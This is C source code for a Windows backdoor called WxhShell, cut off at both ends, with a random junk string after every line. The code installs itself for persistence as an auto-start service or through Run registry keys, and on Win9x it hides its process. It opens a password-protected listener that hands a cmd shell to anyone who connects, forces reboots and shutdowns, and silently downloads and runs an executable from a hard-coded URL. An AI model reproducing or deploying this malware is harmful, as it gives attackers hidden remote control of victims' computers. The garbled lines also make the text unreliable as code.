    if(Boot(SHUTDOWN)) }r3, fH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&3L1rl3{*  
    else { i)Vqvb0Q  
    closesocket(wsh); #dE#w#=r  
    ExitThread(0); e2*0NT^R  
    }  %1<No/  
    break; Y=sRVypJ  
    } .!RBh LH_g  
  // 获取shell I >k3X~cG  
  case 's': { 8Y3c,p/gS>  
    CmdShell(wsh); T5)Xl'Q  
    closesocket(wsh); @riCR<fF  
    ExitThread(0); w&f8AY)#]4  
    break; [Tby+pC  
  } m>k j@^SQ  
  // 退出 <.CO{L\e  
  case 'x': { Ij(S"P@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZZ A!Y9ia2  
    CloseIt(wsh); %h=)>5-T  
    break; n9]^v-]K  
    } 5s8S;Pb]<  
  // 离开 H[@uE*W  
  case 'q': { =xQ 7:TB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8 Mp2MZ*p  
    closesocket(wsh); Yd~K\tX :n  
    WSACleanup(); g4<%t,(88E  
    exit(1); yc|C}oQF  
    break; W:O<9ZbQ_  
        } Zq~2BeB  
  } y A?>v'K  
  } Y;6<AIx>  
GK)3a 9;  
  // 提示信息 >"jV8%!sM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R?qVFMQ  
} 0a QtJ0e16  
  } Dx$74~2e  
Ev0GAc1  
  return; >hoIJZP,  
} >9a%"<(2#  
bW;0E%_  
// shell模块句柄 & d\`=e  
int CmdShell(SOCKET sock) ;!, ]}2w*X  
{ `]\4yTd  
STARTUPINFO si; kuu9'Sqc'b  
ZeroMemory(&si,sizeof(si)); ><"5 VwR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GC66n1- X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^%~ztn 51  
PROCESS_INFORMATION ProcessInfo; |2CW!is  
char cmdline[]="cmd"; <Xm5re.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =vT3SY  
  return 0; O}NR{B0B3&  
} 8H./@~_ =  
[@kzC/Jq3  
// 自身启动模式 YH)U nql  
int StartFromService(void) !s.G$ JS<  
{ tirw{[X0n  
typedef struct mz1Xk ]nE  
{ `=uCp^ +v  
  DWORD ExitStatus; }!0,(<EsV  
  DWORD PebBaseAddress; [4 g5 {eX  
  DWORD AffinityMask; -4,qAnuMx  
  DWORD BasePriority; +6*oO|   
  ULONG UniqueProcessId; rr3NY$W  
  ULONG InheritedFromUniqueProcessId; V J){@  
}   PROCESS_BASIC_INFORMATION; d`StBXG!  
y 97QqQ^  
PROCNTQSIP NtQueryInformationProcess; <%JdQ82?  
`>?\MWyu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TnL%_!V!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I-kM~q_  
TmKO/N@}  
  HANDLE             hProcess; fL83:<RK  
  PROCESS_BASIC_INFORMATION pbi; j!mI9*hP  
A&$!s)8z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PHDKx+$  
  if(NULL == hInst ) return 0; (z2)<_bXJ  
>gFF>L>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uz>s2I}B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i= ~HXr}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j V:U%  
[+{ ot   
  if (!NtQueryInformationProcess) return 0; dAEz hR[=  
s]L`&fY]O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1Na CGD"  
  if(!hProcess) return 0; rcxV ,<[B  
+;Cq>1x,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x18ei@c  
l:+tl/  
  CloseHandle(hProcess); Lrq+0dI 65  
g/`i:=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); En5Bsz !  
if(hProcess==NULL) return 0; 8Y5* 1E*  
L4Nk+R;  
HMODULE hMod; 2(\>PN-  
char procName[255]; )KXLL;]  
unsigned long cbNeeded; <+_OgF1G  
U%gP2]t%cs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,:>>04O  
]lz,?izMR  
  CloseHandle(hProcess); ,e.y4 vnU  
F{l,Tl"Jw  
if(strstr(procName,"services")) return 1; // 以服务启动 @D0Ut9)  
.]r[0U  
  return 0; // 注册表启动 IFG`  
} QREIr |q'  
Qx.E+n\  
// 主模块 kZz;l(?0  
int StartWxhshell(LPSTR lpCmdLine) ,{'~J @  
{ >IoOCQQ*  
  SOCKET wsl; 3D<P [.bS  
BOOL val=TRUE; Em4TEv  
  int port=0; {\]SvoJnJ  
  struct sockaddr_in door; Bct>EWQ  
1ed#nB %  
  if(wscfg.ws_autoins) Install(); /x$jd )C  
_BR>- :Jr  
port=atoi(lpCmdLine); <&H.pN1_  
\BJnJk!%  
if(port<=0) port=wscfg.ws_port; l l&iMj]  
/8Vh G|Wb  
  WSADATA data; N.&)22<m9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Chj0wWZ>  
W9eR3q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zlSwKd(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W >B:W0A  
  door.sin_family = AF_INET; Lo;T\C N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xss D2*l  
  door.sin_port = htons(port); ?5/Sa  
f3yZx!K_Br  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C}+(L3Z  
closesocket(wsl); v{%2`_c  
return 1; ,j5fzA  
} ;Vp&f%u+v  
c&'T By  
  if(listen(wsl,2) == INVALID_SOCKET) { :j9;P7&"?  
closesocket(wsl); i(U*<1y  
return 1; Q >sq:R+'  
} p=Vm{i7  
  Wxhshell(wsl); )ZiJl5l@  
  WSACleanup(); T[<9Ty'^  
T_\GvSOI  
return 0; a nIdCOh  
y YF80mnJz  
} N2~DxVJ5cT  
bNc=}^  
// 以NT服务方式启动 E-! `6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MNJ$/l)h  
{ fmloh1{4  
DWORD   status = 0; wt)tLMEv  
  DWORD   specificError = 0xfffffff; @-u/('vpB  
5?2PUE,a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t@!oc"z}@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~BZA_w"`1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tK]r>?Y\  
  serviceStatus.dwWin32ExitCode     = 0; &LYU#$sj  
  serviceStatus.dwServiceSpecificExitCode = 0; >eJk)qM  
  serviceStatus.dwCheckPoint       = 0; KeXQ'.x5O  
  serviceStatus.dwWaitHint       = 0; hEEbH@b  
,gRsbC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .!=g  
  if (hServiceStatusHandle==0) return; BBy/b c!  
nc l-VN  
status = GetLastError(); <Ep P;  
  if (status!=NO_ERROR) xJZbax[  
{ YFsEuaV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t;E-9`N  
    serviceStatus.dwCheckPoint       = 0; P_i2yhpK  
    serviceStatus.dwWaitHint       = 0; 6AzH'H F  
    serviceStatus.dwWin32ExitCode     = status; HfmTk5|/  
    serviceStatus.dwServiceSpecificExitCode = specificError; $7PFos%@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {]|};E[}m  
    return; mqtl0P0  
  } kS+*@o  
)2FS9h.t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g!aM-B^C  
  serviceStatus.dwCheckPoint       = 0; }R.cqk\qa^  
  serviceStatus.dwWaitHint       = 0; :IS]|3wD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )/f,.Z$  
} e9N 1xB  
#9p{Y}2#  
// 处理NT服务事件,比如:启动、停止 B4&x?-0ZC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _RjM .  
{ [}d 3 u!  
switch(fdwControl) I_Oa<J\+  
{ !y?g$e`  
case SERVICE_CONTROL_STOP: A^o  
  serviceStatus.dwWin32ExitCode = 0; L42C<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2rD`]neA  
  serviceStatus.dwCheckPoint   = 0; f*kT7PJG  
  serviceStatus.dwWaitHint     = 0; [O(78n$$  
  { }&;0:hw%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >*Y~I0>  
  } .$S`J2Y  
  return; K+Ehj(eF  
case SERVICE_CONTROL_PAUSE: Yc\;`C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  ae#7*B  
  break; {f)",#  
case SERVICE_CONTROL_CONTINUE: q6/ o.j   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }^P(p?~  
  break; g4%x7#vz0  
case SERVICE_CONTROL_INTERROGATE: #p*OLQ3~  
  break; <[[DS%(M^  
}; Z\O ,9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qFf'RgUtP  
} 8pt;''  
Z]oa+W+  
// 标准应用程序主函数 B 2&fvv?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q_LPLmM  
{ <;SMczR  
u`K+0^)T`  
// 获取操作系统版本 c?b?x 6 2  
OsIsNt=GetOsVer(); u[PO'6Kzd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WB $Z<m :  
jcFh2  
  // 从命令行安装 <E6]8SQE  
  if(strpbrk(lpCmdLine,"iI")) Install(); b*r1Jn"h  
Cl4y9|  
  // 下载执行文件 vF3>nN(]  
if(wscfg.ws_downexe) { R7Hn8;..  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OsvAm'B  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y( D d7`c  
} LK/gG6n5M0  
tSE6m-  
if(!OsIsNt) { ]#))#-&1  
// 如果时win9x,隐藏进程并且设置为注册表启动 $U"/.Mh\  
HideProc(); mMu3B2nke=  
StartWxhshell(lpCmdLine); <F>\Vl:  
} yBht4"\Al  
else B>#zrCD  
  if(StartFromService()) >x&$lT{OY  
  // 以服务方式启动 x\;`x$3t  
  StartServiceCtrlDispatcher(DispatchTable); d<(1^Rto  
else @wZ`;J%  
  // 普通方式启动 \f0I:%-  
  StartWxhshell(lpCmdLine); duV|'ntr  
Zdj~B1  
return 0; W"VN2  
} 44RZk|U1J{  
mmr>"`5.  
,LWM}L  
QRw3 06  
=========================================== 1H-R-NNJ:  
<`*6;j.&  
a%Cq?HZ7  
}B^s!y&b  
E)H8jBm6w  
^=E4~22q  
" ^yH|k@y  
pRUN [[L  
#include <stdio.h> #B)/d?aa'  
#include <string.h> /2Y Nu*v  
#include <windows.h> tG{e(  
#include <winsock2.h> fcD$km  
#include <winsvc.h> Qf7]t-Kp  
#include <urlmon.h> 52wq<[#tK  
p^ 9QYR  
#pragma comment (lib, "Ws2_32.lib") 2~Gcoda  
#pragma comment (lib, "urlmon.lib") 7b:oz3?PI  
4U C/pGZY  
#define MAX_USER   100 // 最大客户端连接数 {5^ 'u^E  
#define BUF_SOCK   200 // sock buffer TBrAYEk  
#define KEY_BUFF   255 // 输入 buffer zrRt0}?xl  
 L~I<y;x  
#define REBOOT     0   // 重启 PIB|&I|p  
#define SHUTDOWN   1   // 关机 ^X[Kr=:Jp  
;wJLH\/  
#define DEF_PORT   5000 // 监听端口 zd>[uIOR  
"g>uNtt~  
#define REG_LEN     16   // 注册表键长度 B~u{Lv TE  
#define SVC_LEN     80   // NT服务名长度 XuoI19V[  
C[n,j#Mvje  
// 从dll定义API OA4NXl'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X[h=UlF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mK@\6GOMYP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x #BUIi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Drk9F"J  
Vy16Co  
// wxhshell配置信息 2Z7smDJ  
struct WSCFG { ogip#$A}3  
  int ws_port;         // 监听端口 Q%o   
  char ws_passstr[REG_LEN]; // 口令 q+WOnTS  
  int ws_autoins;       // 安装标记, 1=yes 0=no scJ`oc: <J  
  char ws_regname[REG_LEN]; // 注册表键名 Rk2ZdNc\  
  char ws_svcname[REG_LEN]; // 服务名 j=PQoEtU'<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f*2V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ] bhzB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9]1-J5iO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &tLg}7?iB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fnL!@WF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >fdS$,`A  
x%vt$dy*8  
}; X7NRQ3P@  
kx]f`b  
// default Wxhshell configuration `(W V pP?  
struct WSCFG wscfg={DEF_PORT, (aiE!c  
    "xuhuanlingzhe", 8 x|NR?  
    1, O0WzDD  
    "Wxhshell", Rj^bZ%t  
    "Wxhshell", 2X]2;W)S;  
            "WxhShell Service", lv&<kYWY  
    "Wrsky Windows CmdShell Service", 4LUFG  
    "Please Input Your Password: ", Ocx=)WKdW  
  1, TcO@q ]+S  
  "http://www.wrsky.com/wxhshell.exe", >6r&VZu*n  
  "Wxhshell.exe" 8l+\Qyj  
    }; g9GE0DbT`  
y9Yh%M(  
// 消息定义模块 z=n"cE[KtB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } Yj ic4?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q,0o:nI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AM'-(x|  
char *msg_ws_ext="\n\rExit."; Eq~&d.j  
char *msg_ws_end="\n\rQuit."; uH65DI<  
char *msg_ws_boot="\n\rReboot..."; S7E:&E&  
char *msg_ws_poff="\n\rShutdown..."; niqiDT/  
char *msg_ws_down="\n\rSave to "; $ LFzpg  
5c3 )p^ ]g  
char *msg_ws_err="\n\rErr!"; ylmf^G@JC  
char *msg_ws_ok="\n\rOK!";  p&:R SO  
l4L&hY^  
char ExeFile[MAX_PATH]; 4SY]Q[  
int nUser = 0; `)1_^# k  
HANDLE handles[MAX_USER]; l)a]V]oQ  
int OsIsNt; B07(15y]  
#^yw!~:{  
SERVICE_STATUS       serviceStatus; +\\,FO_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }`h)+Im=  
hgfCM  
// 函数声明 pWwaN4  
int Install(void); \iSaxwU_  
int Uninstall(void); :&&Ps4\Sq  
int DownloadFile(char *sURL, SOCKET wsh); )/Ee#)z*  
int Boot(int flag); I/pavh  
void HideProc(void); R l^ENrv!]  
int GetOsVer(void); )O#>ONm^  
int Wxhshell(SOCKET wsl); m`I6gnLj  
void TalkWithClient(void *cs); K$R1x1lc2  
int CmdShell(SOCKET sock); ~ NK w}6  
int StartFromService(void); [@uL)*o_#  
int StartWxhshell(LPSTR lpCmdLine); b H?dyS6Bx  
Do=*bZ;A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B9>3xxp(by  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); azS"*#r6}  
|L%F`K>Z:  
// 数据结构和表定义 |A 8xy#  
SERVICE_TABLE_ENTRY DispatchTable[] = `k a!`nfo  
{ l`[*b_ Xt  
{wscfg.ws_svcname, NTServiceMain}, tceQn ^|<  
{NULL, NULL} 9fzbR~s  
}; ]+ XgH #I  
b_W0tiyv%  
// 自我安装 h<$Vry}  
int Install(void) IT'~.!o7/  
{ Pi40w+/  
  char svExeFile[MAX_PATH]; : \:jIP  
  HKEY key; *jCXH<?R  
  strcpy(svExeFile,ExeFile); #T99p+O  
fY}e.lD  
// 如果是win9x系统,修改注册表设为自启动 ,xn+T)2I  
if(!OsIsNt) { `Ft.Rwj2:m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \T/~" w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kK16+`\+  
  RegCloseKey(key); ;Tvy)*{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BBnj}XP*4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KNic$:i  
  RegCloseKey(key); H8`K?SXU  
  return 0; ;k9s@e#a  
    } I o|NL6[  
  } Y(m/E.h.~  
} Hd U1gV>  
else { ${8 1~  
8;5 UO,`T  
// 如果是NT以上系统,安装为系统服务 v< xe(dC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c#<v:b  
if (schSCManager!=0) %+:%%r=Q  
{ _W@q%L>  
  SC_HANDLE schService = CreateService =4RnXZ[P0  
  ( gLaFIeF<+  
  schSCManager, `$JPF  Z  
  wscfg.ws_svcname, KA0Ui,q3  
  wscfg.ws_svcdisp, eRWTuIV6  
  SERVICE_ALL_ACCESS, WtN o@e'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7{ (t_N >  
  SERVICE_AUTO_START, I0h/x5  
  SERVICE_ERROR_NORMAL, vj]-p=  
  svExeFile, v/ dSz/<]  
  NULL, |2,u!{  
  NULL, wN-3@  
  NULL, &)Y26*(`  
  NULL, |oCE7'BaP  
  NULL (<y~]igy  
  ); Wl!|+-  
  if (schService!=0) 8&T6  
  { )y8 u+5^  
  CloseServiceHandle(schService); 8bl&-F `  
  CloseServiceHandle(schSCManager); %-u Ra\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PU| X+V>  
  strcat(svExeFile,wscfg.ws_svcname); wCT. (d_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dG5p`N %  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hqsj5j2i  
  RegCloseKey(key); 'L$%)`;e  
  return 0; -1^dOG6*  
    } 9k5$rK`  
  } )<Cf,R  
  CloseServiceHandle(schSCManager); Qv~KGd9  
} k.UQT^.  
} mR JX,  
GJ1ap^k  
return 1; c -1Hxd YD  
} ,LD[R1TU8  
?;{ d  
// 自我卸载 HP`dfo~j  
int Uninstall(void) (A@~]N ,U/  
{ /da5 "  
  HKEY key; 6Ja } N  
TV^m1uC  
if(!OsIsNt) { W+F{!dW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /3( a'o[  
  RegDeleteValue(key,wscfg.ws_regname); Atdr|2  
  RegCloseKey(key); }a=<Gl|I;w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ab| t E5%  
  RegDeleteValue(key,wscfg.ws_regname); )83UF r4kP  
  RegCloseKey(key); fV}:eEo|Y  
  return 0; d#Hl3]wT  
  } .\/jy]Y  
} 8oAr<:.=  
} D/& 8[Z/Cn  
else { pi/Jto25z  
e|6kgj3/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6oh\#v3zV  
if (schSCManager!=0) }(*eRF'  
{ q\0CS>.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O/Q7{5n  
  if (schService!=0) pQ:7%+Om  
  { huPAWlxT  
  if(DeleteService(schService)!=0) { olHT* mr  
  CloseServiceHandle(schService);  j<BW/  
  CloseServiceHandle(schSCManager); H%`$@U>  
  return 0; Jf#Ika&px  
  } nTG@=C#  
  CloseServiceHandle(schService); ^( w%m#  
  } j@7%%   
  CloseServiceHandle(schSCManager); [ 2WJ];FJ  
} $oPx2sb  
} /Qa'\X,f3  
O_gr{L}  
return 1; R]LRgfi9  
} ( pDu  
pm)kocG  
// 从指定url下载文件 YI877T9>  
int DownloadFile(char *sURL, SOCKET wsh) Za"m;+H<E  
{ X-lB1uq^  
  HRESULT hr; E4C yW  
char seps[]= "/"; QsO%m  
char *token; %oee x1`=  
char *file; >ocDh~@aP  
char myURL[MAX_PATH]; @zQ.d{  
char myFILE[MAX_PATH]; <~d3L4h*<  
)o=ipm[  
strcpy(myURL,sURL); t9U-c5bR  
  token=strtok(myURL,seps); cs-wqxTX[$  
  while(token!=NULL) 6bE~m<B\`  
  { Y&![2o.Q  
    file=token; ep,"@,,  
  token=strtok(NULL,seps); g,k} nkIT  
  } @P'("qb~  
*v}3So  
GetCurrentDirectory(MAX_PATH,myFILE); w3<%wN>tE  
strcat(myFILE, "\\"); ?z[k.l+6w  
strcat(myFILE, file); i".nnAI:  
  send(wsh,myFILE,strlen(myFILE),0); (#)-IdXXO<  
send(wsh,"...",3,0); (m~gG|n4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \nzaF4+$  
  if(hr==S_OK) ii)DOq#2  
return 0; (O(X k+L  
else ozCH1V{p  
return 1; ,B'n0AO/'  
;_nV*G.y#^  
} # o;\5MOE%  
fZ6-ap,u  
// 系统电源模块 v PJ=~*P=  
int Boot(int flag) 4b@ Awtk  
{ m"|AD/2;(  
  HANDLE hToken; 9aa cW  
  TOKEN_PRIVILEGES tkp; #;lB5) oe  
c]x'}K c  
  if(OsIsNt) { -*nd5(lY&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !iHJ!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hgU#2`fS  
    tkp.PrivilegeCount = 1; u,88V@^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y88lkV4a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ij_h #f   
if(flag==REBOOT) { R)Y*<Na  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u 6"v}gN  
  return 0; G,-x+e"  
} G?e\w+}Pj@  
else { ixjhZki<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) abczW[\  
  return 0; '7ps_pz  
} OGGuVY  
  } :&-j{8p-  
  else { dFw>SYrpu  
if(flag==REBOOT) { wQR0R~|M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *D:"I!Ho  
  return 0; ;p] f5R^  
} >=VtL4K^  
else { ?c0@A*:o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G@+AB*Eu  
  return 0; XT<{J8 0z  
} JZom#A. dt  
} AfqthI$*m  
z'r B_l  
return 1; `ZLA=oD  
} 4)OM58e}  
iI@m e=  
// win9x进程隐藏模块 iL\eMa  
void HideProc(void) Ar iW&E  
{ =zX A0%  
A{(<#yRfg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d2=Z=udd  
  if ( hKernel != NULL ) #>[5NQ;$'  
  { !3J YG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  1(*Pa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q#|,4( Z  
    FreeLibrary(hKernel); U%zZw)  
  } (Tbw@BFk  
??g`c=R!V  
return; $=rLs)  
} ^a?H "  
=j$!N# L  
// 获取操作系统版本 4Px  
int GetOsVer(void) .C7;T'>!  
{ [T>a}}@  
  OSVERSIONINFO winfo; "JBTsQDj!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7]&ouT  
  GetVersionEx(&winfo); [7|j:!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p#6V|5~8  
  return 1; cN] ]J  
  else U%)m [zAw  
  return 0; q(YFt*(;w  
} )?qH#>mD6  
Ei& Z  
// 客户端句柄模块 QZ:xG:qyk;  
int Wxhshell(SOCKET wsl) 6*Y>Y&sea  
{ L^Q q[>  
  SOCKET wsh; TP-<Lhy  
  struct sockaddr_in client; X&+*?Q^  
  DWORD myID; qZ79IX'y  
cy+EJq I  
  while(nUser<MAX_USER) ~3F\7%Iqc  
{ eo~>|0A*V  
  int nSize=sizeof(client); R]8^ @i1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Rc^5Nv  
  if(wsh==INVALID_SOCKET) return 1; n;+e(ob;;  
60`4 _Uy]_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w6w'Jx  
if(handles[nUser]==0) Pu-/*Fx  
  closesocket(wsh); rDvz2p"R  
else sHwn,4|iY  
  nUser++; <GthJr>1D  
  } 5f'<0D;K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ['l.]k-b}  
AT6:&5_`  
  return 0; jj&4Sv#>  
} *w[\(d'T  
{ylhh%t4hi  
// 关闭 socket iH#b"h{w  
void CloseIt(SOCKET wsh) NX5A{  
{ `T \"B%  
closesocket(wsh); QaMB=wVr  
nUser--; Z;XiA<|  
ExitThread(0); J/o$\8tiMw  
} kQY+D1  
&K*x[  
// 客户端请求句柄 Qn*a#]p  
void TalkWithClient(void *cs) O^AF+c\n  
{ U.[?1:v  
ydyGPZ t  
  SOCKET wsh=(SOCKET)cs; xa?#wY b  
  char pwd[SVC_LEN]; <e :2DB&  
  char cmd[KEY_BUFF]; SB3= 5"q  
char chr[1]; rq.S0bzH  
int i,j; W?B(Jsv  
u?>]C6$  
  while (nUser < MAX_USER) { ?5oeyBA@  
Po: )b  
if(wscfg.ws_passstr) { kZ0|wML8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P=j89-e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WLTraB[?  
  //ZeroMemory(pwd,KEY_BUFF); N{f4-i~  
      i=0; 0{ O|o_  
  while(i<SVC_LEN) { MwlhL?  
sZ,mRT  
  // 设置超时 c<8RRYs  
  fd_set FdRead;  ThLnp@  
  struct timeval TimeOut; V0Z\e _I  
  FD_ZERO(&FdRead); dUTF0U  
  FD_SET(wsh,&FdRead); #jja#PF]7  
  TimeOut.tv_sec=8; y'9 bs  
  TimeOut.tv_usec=0; +P&;cCV`S3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F_Q?0 Do0'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3']yjj(gHr  
5Y4 i|R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4}~zVT0'~  
  pwd=chr[0]; S'I{'jP5  
  if(chr[0]==0xd || chr[0]==0xa) { zlh}8Es  
  pwd=0; DJtKLG0  
  break; j]#-DIL  
  } NY5?T0/[  
  i++; \gh`P S-B  
    } >?$+hZz<  
I\6u(;@  
  // 如果是非法用户,关闭 socket =Of!1TR(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O1.a=O  
} 0@9.h{s@  
O MEPF2:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); By t{3$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bBQ1 ~ R  
}Om+,!_d  
while(1) { rmCrP(  
3q=A35*LT>  
  ZeroMemory(cmd,KEY_BUFF); D3LW 49  
V}l >p?  
      // 自动支持客户端 telnet标准   DR`d^aBWQ  
  j=0; mW_<c,3D.  
  while(j<KEY_BUFF) { UQwLAXs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5-L?JD 4&  
  cmd[j]=chr[0]; t(4%l4i;X  
  if(chr[0]==0xa || chr[0]==0xd) { X*2M Nx^K~  
  cmd[j]=0; nj*B-M\p  
  break; Y&O<A8=8  
  } .)W'{2J-  
  j++; aDx{Q&  
    } Tc6H%itV  
7Q<xC  
  // 下载文件 a.a5qwG  
  if(strstr(cmd,"http://")) { "WTnC0<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &~+lXNXF  
  if(DownloadFile(cmd,wsh)) &v+8RY^F=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T jO}P\p  
  else #c5 NFU}9  
